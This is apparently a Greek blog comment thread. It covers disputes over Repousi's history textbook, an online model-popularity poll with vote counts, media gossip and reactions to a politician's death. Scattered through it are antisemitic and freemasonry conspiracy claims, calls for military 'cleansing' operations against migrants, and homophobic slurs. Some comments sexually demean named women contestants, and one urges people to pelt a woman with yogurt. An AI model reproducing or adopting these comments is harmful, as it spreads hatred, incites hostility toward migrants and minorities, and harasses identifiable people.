καθως και να βγαλουμε την υποχρεωση για τα τοσα κακα που τους προκαλεσαμε οπως παλι διδασκονται[τροπολιτσα, 1922,κλπ].ειμαι πεπεισμενος πως τοσο οι τουρκοι οσο και η κυρια ρεπουση και σια δεν θα εχουν αντιρρηση σε μια τετοια πραξη μεγαλοψυχιας και στην αναγκη μας να καθαρουμε τις ερινυες ημων..
μαρι(ονν)εττα μας
συγχωρησον υμας.
νεοελληνικος σουρρεαλισμος..
Εγώ πάντως ψηφίζω με χέρια και με πόδια την Ιωάννα Δεμέντη. Πιστεύω ότι ειναι καλύτερη από την Αλεξανδράκη.
6.56, σιγά μην ντραπεί κάποιος να πει την επιστημονική άποψή του. Αυτό πίστευε η Ρεπούση, αυτό έγραψε. Το ίδιο έγινε και με τον Ηρακλείδη στο Πάντειο. Είναι δικαίωμά του να πει την άποψή του (με την οποία και εγώ μπορεί να μην συμφωνώ). Η δαιμονοποίηση της άποψης του άλλου είναι δείγμα μεγάλης ανασφάλειας και οι Έλληνες πάσχουμε από τεράστια εθνική ανασφάλεια, ίσως επειδή ξέρουμε πόσο ξεβράκωτοι είμαστε αν και προσπαθούμε φιλότιμα να το κρύβουμε.
Ο 8:23 έχει απόλυτο δίκιο, να σταματήσει πιά αυτή η μαλακεία με την Ρεπούση. Ο ελληνικός στρατός, σε άτακτη υποχώρηση, ούτε γιά την τιμή των όπλων δεν χάραξε μία έστω τυπική γραμμή αμύνης γύρω από την Σμύρνη και την άφησε στην μοίρα της - αυτή είναι η μαύρη αλήθεια η οποία προκύπτει από τα επίσημα αρχεία του ΓΕΣ (που τώρα συντεταγμένη υποχώρηση όπως λαμπρά έπραξε το βρετανικό εκστρατευτικό σώμα [BEF] το καλοκαίρι του 1914 από την Mons στον Μάρνη, αυτά είναι γιά μεγάλα παιδιά). Η Ρεπούση έχει δίκιο, ο κόσμος αλλόφρων συνωστίζετο στην προκυμαία, έχοντας από την μία την θάλασσα και από την άλλη την φωτιά και τα αιμοβόρα κεμαλικά στίφη και η ευθύνη πέφτει στους ώμους μας...
Οι από πάνω φίλοι έχουν δίκιο. Μπορεί η Ρεπούση να ανήκει στο απεχθές συνονθύλευμα των συριζαίων αριστεροκουλτουριάρηδων, αλλά αφενός είναι δικαίωμά της να λέει την άποψή της (όποια κι αν είναι αυτή) και να κρίνεται γι αυτήν και αφετέρου για το συγκεκριμένο θέμα είχε ασφαλώς δίκιο.
Το πρόβλημά μου εμένα με τη Ρεπούση (αν και είμαι δεξιός) δεν είναι αυτό που έγραψε, αλλά ότι έκανε πίσω και πήγε να μαγειρέψει μετά την κατακραυγή τα όσα έγραψε, αντί να υπερασπιστεί την επιστημονική της άποψη (και να δεχτεί και την ανάλογη κριτική - όποια κι αν ήταν αυτή). Αλλά έτσι είναι η Ελλάδα. Όταν ο όχλος (δεξιός και αριστερός) μιλά, την προσωπική άποψη την τρώει η μαρμάγκα. Γι αυτό στα σχολεία και στα παν/μια διδάσκονται πάντα κοινότοπες μαλακίες, γι αυτό δεν έχουμε συγγραφείς και αρθογράφους της προκοπής με ριξεκέλευθο λόγο. Πάνω απ' όλα η ισχύς του (άκριτου) όχλου και των ιδεοληπτικών απόψεων (ο θεός να τις κάνει απόψεις...).
Ο Παπαγιάννης εδώ και καιρό επιτίθεται από το blog του και εναντίον της Δρούζα, την οποία μέχρι πρότινος έγλειφε ασύστολα. Έχει άραγε σχέση ότι σταμάτησε το γλείψιμο και άρχισε την κριτική μετά την απόλυσή του από το FAQ του Λάλα, ο οποίος τυγχάνει και γκόμενος της Αννούλας; Μπα, μάλλον σύμπτωση θα είναι...
οι τρεις φιλοι παραπανω που σχολιαζουν την σκεψη στο 6.56 κανουν ενα βασικο σφαλμα.δεν ειναι το προβλημα αν αυτη θα εκφρασει τις αποψεις της και οποιος αλλος.ακομη και αν αποσπασματικα καποια περιστατικα ειναι ορθα,εχουν πολιτικη στοχευση,διαμορφωνουν κρατικη πολιτικη και αυτη ειναι που πρεπει να σκεφτει κανεις τι επιδιωκει.δεν ειναι ενα βιβλιο του εμποριου.
συνεπως ειναι μια αποσπασματικη αληθεια μετριων επιστημονων που παιζουν βρωμικα παιχνιδια.μην το προσεγγιζετε τοσο επιφανειακα.α καταραμενη η α μπραβο ειπε αληθειες.ειναι ΠΑΡΑ πολυ πιο συνθετα τα πραγματα.
παρακατω για οποιον εχει υπομονη -θα την χρειαστει -μπορει να διαβασει ενα αρθρο σχολιο για την κυρια μαρριετα απο συνεντευξη της στο μπλογκ των νεων.το αφηνω αμονταριστο γιατι σχολιαζει καποιες παρομοιες με ανω θεσεις αλλων σχολιογραφων.
προς τον κυριο 'ζαμανφου'.στο σχολιο των 17.31.καταρχην ο χαρακτηρισμος μου ως εθνικιστη αποτελει τιτλο τιμης στην σημερινη εποχη.σημαινει οτι ενοχλω στρατηγικες στοχευσεις.αποτελει αναλογο του κρυπτοκομμουνιστη της μετεμφυλιακης ελλαδος..θα ηθελα ομως να αυτοπροσδιοριστειτε και εσεις.οχι αποφατικα ως προς εμενα,αλλα καταφατικα.τι ειστε σεις δηλαδη.εκει υποψιαζομε πως θα διασκεδασουμε!
τωρα ως προς την πρωην υπουργο.ασφαλως τα βιβλια γραφονται απο επιστημονες και κρινονται απο επιστημονες.μονο που μιση αληθεια ειναι σοφισμα.ενα εθνους και η παιδεια του δεν αποτελει υποθεση της sui generis ιδιοψυχοσυνθεσης καθε επιστημονα και των επιστημονικων νευρωσεων του.αποτελει επιλογη με στρατηγικες στοχευσεις και εθνικες επιλογες.τι ανθρωπους θελομε ποιες αξιες στοχοθετουμε.
ασφαλως λοιπον αν καποιος υποστηριξει οτι θελαμε ανθρωπους χωρις εθνικη συνειδηση αυτο ειιναι πολιτικη επιλογη.αναρωτηθειτε ομως τι στοχευει και ποιους ευννοει κατι τετοιο.
αραγε μπορει να ενδιαφερεται για την προκοπη και την προοδο της παιδειας ενος λαου λχ. η αμερικανικη πρεσβεια στην οποια η κυρια υπουργος υπηρξε συχνος επισκεπτης?
γιατι τα νεα αυτα βιβλια δεν ηταν προιον επιστημης και καποιας ανακαλυψης.το περιεχομενο των θετικων μαθηματων δεν αλλαξε στο επιπεδο της προπανεπιστημιακης εκπαιδευσης.αλλαξαν ουσια το περιεχομενο των μαθηματων που δημιουργουν συνειδηση πολιτη.
και αυτο υπηρξε πολιτικη επιλογη και μαλιστα εξωτερικης και οχι μονο.αφορουσε τις σχεσεις με την τουρκια.ειναι το ιδιο φρουτο που και παλι οι ΗΠΑ επελεξαν να προτεινουν και στους σκοπιανους που μας προτειναν προσφατα να παραπεμψουμε σε επιτροπες το μεγαλεξανδρο.ειναι το ιδιο που και παλι δολια προτειναν οι τουρκοι στους αρμενηδες για το ολοκαυτωμα.
αυτο λοιπον που δεν αντιλαμβανεται ο σκεπτομενος οπως ο 17.31 ειναι πως την ιστορια στην κρατικη παιδεια την γραφουν η πολιτικη και οι νικητες.αν λοιπον το κρατος α για να αποφυγει την πολεμικη ισοπεδωση απο το ισχυροτερο β επιλεγει να δημιουργησει πολιτες που να ντρεπονται για την χωρα τους α,τοτε ανετα θα κατασκευασει μια παιδεια που θα προαγει την δουλοφροσυνη και την αυτοαπαξιωση .και ανετα θα μπορει να εκλογικευσει πολιτικες επιλογες εξωτερικης πολιτικης και επιλογες ανθρωπινου ιδεοτυπου που θελει να υπηρετει συγκεκριμενο κυριαρχο οικονομικο και πολιτισμικο υποδειγμα,με βαρυγδουπες παρλατες για το ποσο κακοι ειναι οι προηγουμενοι και ποσο πεφωτισμενοι εμεις οι του νεου κρατικου μοντελου.
ετσι λοιπον το βιβλια του σχολειου γραφονται για να διαμορφωσουν χαρακτηρες και συλλογικες συνειδησεις.το να λες οτι δεν θες να δημιουργεις ανθρωπους με εθνικη παιδεια δεν εξηγει τι ακριβως θελεις.ουτε το να δημιουργεις ανθρωπους σκεπτομενους προυποθετει να κανεις κομπλεξικα τα παιδια των πεντε ετων στερωντας τους προτυπα.η δινοντας τους προτυπα την καταναλωση και την χυδαιοτητα της παγκοσμιοποιημενης κοινωνιας της αγορας με προσχημα την αποεθνοποιηση της παγκοσμιοποιησης..
συνεπως,αν εγω ως πολιτικος κυρια υπουργος ,κυριε ευθυμιου και τα τρια κομματα εξουσιας θελω λχ. το κρατος μου με προτροπη των ηπα[και οχι φυσικα για επιστημονικους λογους αλλα για να μετατραπω σε τουρκικο προτεκτορατο γεωστρατηγικα] να αποθεωσει λχ.τον αδολφο χιτλερ,θα αναθεσω την συγγραφη του βιβλιου στην λενι ριφενσταλ η στον ιρβινγκ.αν θελω να τον εμφανισω ξαδελφο της εφης θωδη θα βαλω τον μαζαουερ.ξερω ομως οτι επιλεγω ετσι η αλλιως μια πολυ περιορισμενη προσεγγιση.ξερω τι ιστορια θα γραψω και τι θα βαλω στο μυαλο ανυπερασπιστων παιδιων.τι ανθρωπους θα πλασσω.και αυτο ειναι καθαρα πολιτικη επιλογη.και ειναι υποχρεωτικο να κριθει απο οποιονδηποτε πολιτη.αυτο δεν ειναι ιστορικο ζητημα επιστημονων.κατι τετοιο αποτελει αντιδημοκρατικη μεθοδευση.
ελπιζω δε να μην βρεθει αφελης να αντικρουσει οτι ηταν τυχαια η αλλαγη του πνευματος ολων των βιβλιων που αποτελουν προσηλυτισμο στα ηδη διαφαινομενα αδιεξοδα των ιδεολογηματων του νεομονεταρισμου,της αποεθνοποιησης και της νεοναζιστικης υφης ισοπεδωσης ολων των πολιτισμων και των αξιων.λυπαμαι αν εσεις το μονο που βλεπετε σε αυτα ειναι οτι γλυτωσατε απο εμας τους εθνικιστες.
οσο για την αναθεση των βιβλιων και την τυπικη επικληση της διαφανους επιλογης των αναδοχων η απαντησις απλη.πως αραγε συνεβη ταυτοχρονα να αλλοιωθει το πνευμα των βιβλιων ολων των βαθμιδων προς τα κελευσματα της νεας ταξης πολιτικων ιδεων και συναφως προς τον εθνομηδενισμο?μηπως και εδω ηταν θεμα κληρωτιδας η συμπτωσης εγκεφαλων που κερδισαν ολους τους διαγωνισμους συγγραφης των βιβλιων στο ιδο πνευμα?το αναλυτικο προγραμμα δεν ειναι πολιτικη επιλογη?ας μην υποτιμουμε νοημοσυνη αλληλων.περαν του οτι ειναι γνωστον πως σε αξιωματα σε δικαιοσυνη και παιδεια,ιδια στο ζητημα μας[παιδαγωγικο ινστιτουτο,πανεπιστημια] εχουν εκτελεστικες αρμοδιοτητες ατομα που ειναι μελη του ελευθεροτεκτονικου κινηματος.και ειναι γνωστη η διασυνδεση -σχεση εντολοδοχου μασονιας με τα διεθνη εξωθεσμικα κεντρα ληψης αποφασεων για τις τυχες και τις στρατηγικες επιλογες και πολιτικες των κρατων απανταχου στην υφηλιο.
αραγε γιατι μπορει μια επιστημων κατ'εμε μετριοτατης αξιας να ασκει εξωτερικη πολιτικη μεσω της παιδειας παραβιαζοντας την χαρτα του συνταγματος,μονο και μονο επειδη τα κομματα αποφασισαν παρα το συνταγμα-αρα φασιστικα να αλλαξουν την αποστολη της παιδειας βαζοντας την στον προκρουστη με τις διεθνοστρατηγικες σκοπιμοτητες,και κανεις να μην ενοχλειται απο την εμφιλοχωρηση αυτη .αλλα οι ιδιοι κρατικοι μηχανισμοι παραγωγης μαζικης ιδεολογιας να ωρυονται οταν ενας λχ. παπας η ενας πολιτικος δεν ακολουθει την πολιτικη αυτη αλλα υπερασπιζεται τις προνοιες ενος συνταγματος που στο προσωπο τους καθυβριζεται ως εθνικιστικο?οποια δημοκρατικη αντιληψις και σεβασμος του γραπτου που σχηματοποιει την δημοκρατια και την λαικη κυριαρχια.
και γιατι δεν ειναι πολιτικη επιλογη να κανεις επιστημη που αναδεικνυει οτι μειωνει την εθνικη ταυτοτητα και αποκρυπτει οτι την τονωνει.και βασει ποιας λογικης επαναλαμβανεις κατα τροπο παραληρηματικο την διδαχη στους σχολειοπαιδες του αντιρατσισμου ενω εξαφανιζεις καθε ελληνοτροπο στοιχειο.αυτο δεν αποτελει επιλογη πολιτικη οσο θα ηταν και το αντιθετο?και γιατι δεν μας εξηγουν τους πολιτικους το τονιζω λογους που το επιβαλλουν και τι ειναι αυτο που καθιστα αυτη την επιλογη προτιμητεα?για να μπορω να κρινω αν αυτο ειναι προς οφελος εμου του απλου λαου η των υπερεθνικων ελιτ και μιας αυθαιρετης-αυταρχικης παγκοσμιας διακυβερνησης?
και ακομη.πως εξηγειται με επιστημονικους ορους να εκμηδενιζεται η γενοκτονια αρμενιων και ποντιων λ.χ στα σχολικα βιβλια?αλλα να επαναλαμβανεται καθε τρεις και λιγο η γενοκτονια εβραιων και οχι λχ. ομοφυλοφυλων σλαβων και τσιγγανων στα στρατοπεδα συγκεντρωσης?ωσαν να πρεπει να νοιωσουν τα ελληνοπουλα ενοχη για κατι που ουτε καν το εκαμαν οι παππουδες τους?και οταν εχουμε δικες μας τραγωδιες για να διδαχθουν ανθρωπισμο ακομη και απο την ναζιστικη κατοχη?αυτο δεν ειναι πολιτικη και οχι επιστημονικη επιλογη?δεν δειχνει αφενος οτι αποσιωπαμε τα δικα μας δραματα γιατι πρεπει να αποδεχτουμε την ιστορικη θεωρηση της τουρκιας για γεωστρατηγικες σκοπιμοτητες?και οτι δεν θελουμε να εχουν τα παιδια εθνικη συνειδηση?γιατι αραγε?ποιες πολιτικες στοχευσεις οφελει αυτο?και οτι ακομη οι εβραιοι εχουν την οικονομικη και πολιτικη δυναμη να επιβαλλουν στα σχολεια την δικη τους ιστορια,την δικη τους αληθεια οπως θα ελεγαν οι κυριοι της αυτης επιστημονικης προσεγγισης,ενω οι κακομοιροι αρμενιοι και εμεις δεν μπορουμε (για λογους πολιτικων ισορροπιων και οχι επιστημονικους) και μας απαγορευεται να την διατυπωσουμε ακομη και στα παιδια μας,ποσο μαλλον διεθνως?η μηπως ειναι και αυτο θεμα επιστημονικης προσεγγισης?στην εποχη με πανεπιστημιακες εδρες και επιστημονικες γραφηδες ανα τον κοσμο εξαγοραζομενες απο κρατη και επιχειρησεις κατα το επιθυμητο περιεχομενο γνωσης?
τελος για την κυρια αννα που επερασε απο τα παιδαγωγικα αμφιθεατρα.αγαπητη μου δασκαλα.αναρωτηθειτε και αντιστροφως.αρχικα σκεφτειτε οτι τα αποσπασματικα τριμματα γνωσεων που αναφερατε απο 16.04 και αλλα που πιθανον να μπορειτε να αναφερετε ισως να αποτελουν γνωσεις που παιδαγωγικως ηταν ορθον να γνωρισετε σε αμφιθεατρα.οπως προχωρημενο ολοκληρωτικο λογισμο δεν δυναται να μαθετε στην γ ταξη λυκειου αλλα σε ανωτερα ετη πολυτεχνειου λχ.
και αναρωτηθειτε.αν αυτο ηταν παιδαγωγικη η πολιτικη αποφαση του κρατους.αν επρεπε πρωτα να ωριμασετε γνωσιολογικα για να επεξεργασθειτε διαφορισιμες πληροφοριες.οτι και αν το κρινετε απο τα δυο σκεφτειτε παλι κατι ακομη.
γιατι στο πανεπιστημιο και ειδικα στα παιδαγωγικα τμηματα επιμενουν τοσο πολυ σε κατι τετοιες λεπτομερειες?μηπως και αυτη η επιλεκτικη επιμονη επιλεκτικης και αποσπασματικης αληθειας ειναι και αυτο κατεξοχην ΠΟΛΙΤΙΚΗ και οχι επιστημονικη επιλογη των καθηγητων σας?και τι αραγε επιδιωκουν να επηρεασουν στην συνειδηση σας.και κυριως για ποια στρατηγικη στοχευση.γιατι αν ειναι πολιτικη επιλογη με επιστημονικο επικαλλυμα τοτε και αυτο ειναι ενα ειδος επιλογης που θα επρεπε να προβληματισει τον αντιεθνικιστη σχολιογραφο του 17.31 για την στοχευση.....
Δήμητρα Αλεξανδράκη
ΤΗΕ ΒΕST
ΟΙ ΑΛΛΕΣ ΔΕΝ ΚΑΝΟΥΝ ΟΥΤΕ ΓΙΑ ΖΩΟΤΡΟΦΗ.....
ΞΥΝΟΓΑΛΟΣ
©
Ξυνόγαλε, ερωτήθης από ποια πόλη προέρχεσαι. Γιατί αποφεύγεις να απαντήσεις στην ευγενικά διατυπωμένη ερώτηση φίλου σχολιαστή; Πρέπει να είσαι υπερήφανος για τον τόπο καταγωγής σου. Αυτό δεν υποστηρίζεις άλλωστε με τα σχόλιά σου;
Ναι ρε Ξυνόγαλε, δίκιο έχει ο Μικές. Γιατί δεν λες από που είσαι; Τόσο τρομερό είναι; Αν και φαντάζομαι ότι είσαι από τα Γιάννενα, αφού με τις σχετικές νύξεις του βαψομαλλιά για τα γιαννιώτικα κεφάλια σε τσίμπισε μύγα και άρχισες τις κραυγές. Και μάλιστα κακώς, γιατί τα Γιάννενα, αν εξαιρέσεις μια ορισμένη ηπειρώτικη στενοκεφαλιά των κατοίκων (κάτι που -θα με συγχωρήσεις να πω- φαίνεται και σε σένα) είναι μια όμορφη πόλη.
Ξυνόγαλε είσαι καθόλου ερωτευμένος; Πώς είναι ο έρωτας στις επαρχιακές πόλεις; Έχει περισσότερη ή λιγότερη ένταση σε σχέση με την παρακμιακή πρωτεύουσα που τόσο όμορφα έχεις περιγράψει;
Ιωάννα Δεμεντή (6,0%, 67 Votes)
hahahaahahahah
to fyto den topshfizei kaneis
Πρέπει η Ιωάννα να βγει πρώτη. Οι υπόλοιπες είναι για τα μπάζα. Μόνο η Ιωάννα (η δική μας Ιωάννα) ξεχωρίζει. Μην σνομπάρετε και μπουκάρετε στο site της Απογευματινής να ψηφίσετε. Είναι ζήτημα ζωής και θανάτου.
ego ton simpatho ton xinogalo. Den me noiazei apo pou einai. Ta leei oraia. Bravo Xinogale.
Άμα βγει η Περιαλή τελικά πρώτη, θα πω και στη γιαγιά μου να κάνει αίτηση για την άλλη βδομάδα. Θα σημαίνει ότι έχει κι η γιαγιά μου πιθανότητες να κερδίσει. Προς θεού δηλαδή. Η Τρικαλιώτη έχει το καλύτερο κορμί.
pali eskise o papa(ro)giannis sto blog tou evgale ton aytia kataxreomeno kai itane allos!!!!!!
Αγαπητό pressmme,
Mε έκπληξη διάβασα τις αποκαλύψεις σας περί κατάσχεσης αυτοκινήτου. Το πρόσωπο στο οποίο αναφέρεστε δεν είναι το δικό μου, διότι το όνομά μου είναι Γεώργιος Αυτιάς του Ιωάννου και το πρόσωπο στο οποίο αναφέρεστε είναι Γεώργιος Αυτιάς του Αριστείδη. Ουδέποτε στη ζωή μου είχα Audi και ουδέποτε με ενόχλησε δικαστικός επιμελητής. Ουδέποτε είχα χρέη προς τρίτους ούτε ένα ευρώ. Δεν ξέρω ποιος θέλει να με εμπλέξει σε αυτή την ιστορία και λυπάμαι πολύ για αυτό το οποίο δημοσιεύθηκε.
Γιώργος Aυτιάς
Μιχάλης Παπαγιαννάκης
efige opos tou aksize
san to vapsomalia
tin kidia tha kanei
i moumia tou lenin
sto kathedriko tis sivirias!
Ο Παπαγιαννάκης υπήρξε από τους ελάχιστους σοβαρούς σε αυτόν τον γελοίο χώρο της "ανανεωτικής" αριστεράς. Και αυτό είναι ένα πρόβλημα της αριστεράς. Οι Αλαβάνοι και οι Τσίπρες δεν ήθελαν να τον βλέπουν μπροστά τους.
Σωστό. Εξαίρεση ο Παπαγιαννάκης σε ένα χώρο τεράστιας γελοιότητας.
Ο σκατόψυχος των 5:49 να βάλει το εξόχως κακόηθες σχόλιό του εκεί που ξέρει (που αν είναι ο ξυνόγαλος όπως υποψιάζομαι, θα είναι του ιδίου μεγέθους με την γιαννιώτικη χοντροκεφάλα του), ο Παπαγιαννάκης ηταν όχι μόνο ο σοβαρώτερος πολιτικός αυτού του γελοίου όπως τον έχουν καταντήσει οι αλαβανοτσιπραίοι χώρου, αλλά ένας από τους σοβαρώτερους πολιτικούς που διέθετε αυτή η κακογαμημένη χώρα, τελεία...
περα απο τον μακαριτη,το νουμερο 1 προβλημα ειναι οι λαθρομεταναστες.ερχεται εμφυλιος!στην αυστραλια αν κουνηθει κανεις σε 48 ωρες απελαυνεται.στην αμερικη αν μπει στο σπιτι σου και τον καθαρισεις αθωωνεσαι.εδω πηγαινεις φυλακη.ο καθενας κανει οτι του καβλωσει! για σου ελλαδα.
ξυπνατε πολιτικοι θα εχουμε μακελειο χειροτερο απο το 1946!!
παρτε μετρα γιατι σας βλεπω να κανετε τον τσαουσεσκου!
πακη παυλοπουλε θα γραφτεις στην ιστορια ως νεος τσολακογλου.
φοβουμαι οτι οδηγουμαστε στην αναγκη εκκαθαριστικων επιχειρησεων των ειδικων δυναμεων του στρατου για να ανανηψεις το χαος.ξυπνα μαλακα!
Καλά φίλε εννοίται πως έχεις δίκιο. Αν περιμένουμε από τον χέστη και δημσιοσχεσίτη Πάκη να λύσει το πρόβλημα, σωθήκαμε. Είναι γνωστό ότι ο Πάκης είναι μαλάκας με πατέντα. Ένας τύπος που παρά τις σπουδές και τα καθηγητηλίκια παρέμεινε ένας φοβισμένος επαρχιώτης. Η οσφυοκαμψία του δε είναι άνευ προηγουμένου. Τον είδες και με τα "Δεκεμβριανά". Χέστηκε πάνω του και έτρεμε σύγκορμος. Το μεταναστευτικό είναι πράγματι τεράστιο πρόβλημα και δυστυχώς έχουμε αυτή την άνευρη πολιτική τάξη που όχι μεταναστευτικό δεν μπορεί να λύσει (φοβούμενη και τους κουλτουριάρηδες αριστεριστές και τις αγάμητες φεμινίστριες του ΣΥΡΙΖΑ), αλλά ούτε να μοιράσει δυο γαϊδουριών άχυρα.
nai o agapimenos mas snoopy o
mixalis dimitriou tora ston
papajohn.akoma thimamai to gelio
otan ksexestike ston aera me ton
papajohn kai efige apo tin
ekpompi.tsoup ekloges kai natos
pali ekei gia tin dora kai tin nd
. THEA!!!!
Πάκης, το χαμόγελο που αστράφτει...
(Υπάρχει καμμιά φώτο υπουργού γυμνού σε μπαλκόνι, με κατεβασμένα τα δύο μπροστινά δόντια ύστερα από δεξί κροσέ; Μήπως είναι αστικός μύθος;)
Y.Γ Ο Παπα(ρο)γιάννης έγραψε πάλι σήμερα. Το επίπεδο του Larry King της Ελληνικής δημοσιογραφίας είναι ισάξιο των πατσουλιών Τατιάνας, Άννας κλπ. Είμαι περήφανος γι' αυτό το βιολί
Σύντροφοι και συντρόφισες,Ψηφίστε Ιωάννα Δεμεντή στον Διαγωνισμό Miss On Line εφημερίδας Απογευματινής για ένα καλύτερο αύριο.Ιωάννα Δεμεντή ένα μοντέλο-παρουσιάστρια πολύπλευρης δράσης και παρέμβασης που οριοθετεί και θεμελιώνει αποφασιστικά τις βάσεις μιας
προοδευτικής μετεξέλιξης.
Vote Ιωάννα Δεμεντή@http://www.apogevmatini.gr/?page_id=21876 for a better day!
4.33 ΓΙΑ ΝΑ ΚΕΡΔΙΣΕΙΣ ΣΕ ΑΥΤΟΝ ΤΟΝ ΔΙΑΓΩΝΙΣΜΟ ΠΡΕΠΕΙ ΕΠΙ ΜΙΑ ΕΒΔΟΜΑΔΑ ΝΑ ΚΑΘΕΣΑΙ ΣΤΟΝ ΥΠΟΛΟΓΙΣΤΗ ΕΠΙ 24 ΩΡΕΣ ΚΑΙ ΝΑ ΠΑΡΑΚΑΛΑΣ ΤΑ ΛΙΓΟΥΡΙΑ ΝΑ ΣΕ ΨΗΦΙΣΟΥΝ.ΕΓΩ ΔΗΛΩΣΑ ΣΥΜΜΕΤΟΧΗ ΓΙΑ ΝΑ ΚΑΝΩ ΧΑΒΑΛΕ ΜΕ ΤΟΝ ΑΓΑΠΗΜΕΝΟ ΜΟΥ ΚΑΜΠΟΥΡΑΚΗ ΠΟΥ ΛΑΤΡΕΥΩ ΔΕΝ ΕΧΩ ΧΡΟΝΟ ΝΑ ΚΑΘΟΜΑΙ ΝΑ ΠΑΡΑΚΑΛΑΩ ΤΑ ΛΙΓΟΥΡΑΚΙΑ ΟΥΤΕ ΝΑ ΒΓΩ ΣΤΟ ΔΡΟΜΟ ΝΑ ΜΟΙΡΑΖΩ ΧΑΡΤΙΑ ΓΙΑ ΝΑ ΜΕ ΨΗΦΙΣΟΥΝ ΟΠΩΣ ΕΚΑΝΑΝ Κ ΚΑΝΟΥΝ ΚΑΤΙ ΑΝΩΝΥΜΑ ΑΡΓΟΣΧΟΛΑ ΚΟΡΙΤΣΑΚΙΑ.ΟΥΤΕ ΠΕΡΙΜΕΝΩ ΝΑ ΚΑΝΩ ΟΝΟΜΑ ΑΠΟ ΤΟΝ ΣΥΓΚΕΚΡΙΜΕΝΟ ΔΙΑΓΩΝΙΣΜΟ!ΑΠΛΑ ΕΝΗΜΕΡΩΝΩ ΓΙΑ ΤΗΝ ΨΗΦΟΦΟΡΙΑ ΚΑΙ ΟΤΙ ΒΓΕΙ!ΚΑΤΑΛΑΒΕΣ ΚΑΚΟΜΟΙΡΟΓΛΟΥ 4.33 ?ΔΕΣ ΑΥΡΙΟ ΚΑΙ ΤΗΝ ΕΚΠΟΜΠΗ ΤΗΣ ΤΑΤΙΑΝΑΣ ΣΤΕΦΑΝΙΔΟΥ ΠΟΥ ΘΑ ΕΙΜΑΙ ΕΚΕΙ ΓΙΑ ΝΑ ΙΣΙΩΣΕΙΣ ΛΙΓΟ!!!!
Καλά σας τα λέει η Ιωάννα ρε κακομοίρηδες. Σιγά μην περιμένει τον διαγωνισμό της Απογευματινής για να γίνει γνωστή και να καταξιωθεί. Άλλωστε, τι σχέση έχει η Ιωάννα μας με τις υπόλοιπες που είναι κοριτσάκια της συμφοράς. Η Ιωάννα είναι και έξυπνη και μορφωμένη και αξιοπρεπής και δεν έχει ανάγκη από διάφορους κακομοίρηδες για να την ψηφίσουν.
Πάει ο Server κορίτσι του Μάη, γλυκιά Ιωάννα. Ναι ρε ζώα, τι δουλειά έχει το κορίτσι μας με τα παρτάλια;
Μια φορά με τον Εθνικό σταρ, τώρα με τον Καμπουράκη...
Βλέπω από γούστο σκίζεις Ιωάννα μας...
Δήμητρα Αλεξανδράκη (38,0%, 614 Votes)
Βάσια Περιαλή (36,0%, 597 Votes)
Νάστια Τρικαλιώτη (14,0%, 225 Votes)
Ιωάννα Δεμεντή (5,0%, 76 Votes)
Σοφία Κουκλάκη (5,0%, 75 Votes)
Σοφία Ζευγώλη (3,0%, 50 Votes)
ΤΠΟΙΟΣ ΝΑ ΣΕ ΨΗΦΙΣΕΙ ΙΩΑΝΝΑ ΔΕΜΕΝΤΗ
ΜΟΝΟ ΟΙ ΑΔΕΡΦΕΣ ΚΟΙΝΩΣ ΠΡΩΚΤΟΦΙΛΟΙ....
Βάσια Περιαλή (40,0%, 804 Votes)
Δήμητρα Αλεξανδράκη (35,0%, 707 Votes)
Νάστια Τρικαλιώτη (13,0%, 258 Votes)
Ιωάννα Δεμεντή (4,0%, 83 Votes)
Σοφία Κουκλάκη (4,0%, 80 Votes)
Σοφία Ζευγώλη (3,0%, 67 Votes)
ΙΩΑΝΝΑ ΜΗΝ ΞΑΝΑΒΓΕΙΣ ΜΕ ΜΑΓΙΩ ΣΤΟ ΓΥΡΟ, ΗΑΗΑΗΑΗΑΑΗΑΗΑΗΑΗΑ
ΟΤΑΝ Η ΜΑΛΑΚΙΑ ΓΙΝΕΤΑΙ ΤΡΟΠΟΣ ΖΩΗΣ ΤΟΤΕ ΜΟΝΟ ΙΝΤΥΜΕΝΤΙΑ ΚΑΙ ΕΞΑΡΧΕΙΑ.
ΙΝΤΥΜΕΝΤΙΑ, ΜΕΓΑΛΩΝΕΙ ΖΑΒΑ ΠΑΙΔΙΑ
ΚΑΙ ΜΕΓΑΛΥΤΕΡΑ ΑΠΟ ΤΗΣ ΙΩΑΝΝΑΣ ΒΥΖΙΑ!
ΚΑΤΕΥΘΕΙΑΝ ΓΙΑ ΤΟ ΔΕΛΦΙΝΑΡΙΟ.ΤΩΡΑ!
"Από την Παρασκευή και μετά στον Αγ.Παντελεήμονα πραγματοποιούνται πογκρόμ κατά των μεταναστών με την συνεργασία αστυνομικών δυνάμεων και ρουφιάνων-φασιστοειδών της περιοχής.Οι "ελληναράδες" επιτίθενται σε όσους μετανάστες βρίσκονται στην πλατεία και οι μπάτσοι ελέγχουν τα στενά. Οι αποθρασυμένοι φασίστες της ...
"επιτροπής κατοίκων" χθες δεν αρκέστηκαν στο κυνήγι μεταναστών.Προχώρησαν και σε "εσωτερικές" εκαθαρίσεις.Συγκεκριμένα έβαλαν φωτιά στο υπόγειο της εκκλησίας καθώς ο συγκεκριμένος ιερέας έχει σταθεί δίπλα στους μετανάστες δίνοντας τους ρούχα,φαγητό ενώ διαφωνεί με τα πογκρομ εναντίον τους".
Indy
ΠΡΟΣ ΧΑΒΑΛΕΔΕΣ ΚΑΙ ΜΗ ΕΝΑ ΒΙΝΤΕΟ ΝΤΟΚΟΥΜΕΝΤΟ ΕΔΩ
http://www.youtube.com/watch?v=OwVGgqQuH1w
ΚΑΙ ΕΔΩ
http://www.frontpagemag.com/readArticle.aspx?ARTID=30675
ioanna pes aleyri?
Κυκλοφορεί ατζέντα με κορίτσια Playmate παρελθόντων ετών.
Κορίτσια που είναι έτοιμα να προσφέρουν συντροφιά τους με διάφορες αμοιβές.
Υπάρχουν 3 κατηγορίες Playmate.
1)Εκείνες που...
πήραν τίτλο.
2) Εκείνες που δεν πήραν , αλλά μπήκαν στην 12κάδα.
3) Εκείνες που πήραν μέρος αλλά κόπηκαν.
Ο τιμοκατάλογος βγήκε στο διαδίκτυο...
kai na eyxithoume stis poytanes politeleias ton playmate kales vizites kai apodotikes opos kai oi palies apo pano.kai kala merismata stous someteborous tous!
opou tin vreite giaourtoste tin!
http://2.bp.blogspot.com/_f-3mDyreLdU/Sh0EDKCmLQI/AAAAAAAAYBo/Ufkmkm-kZ4o/s1600-h/petroula.jpg
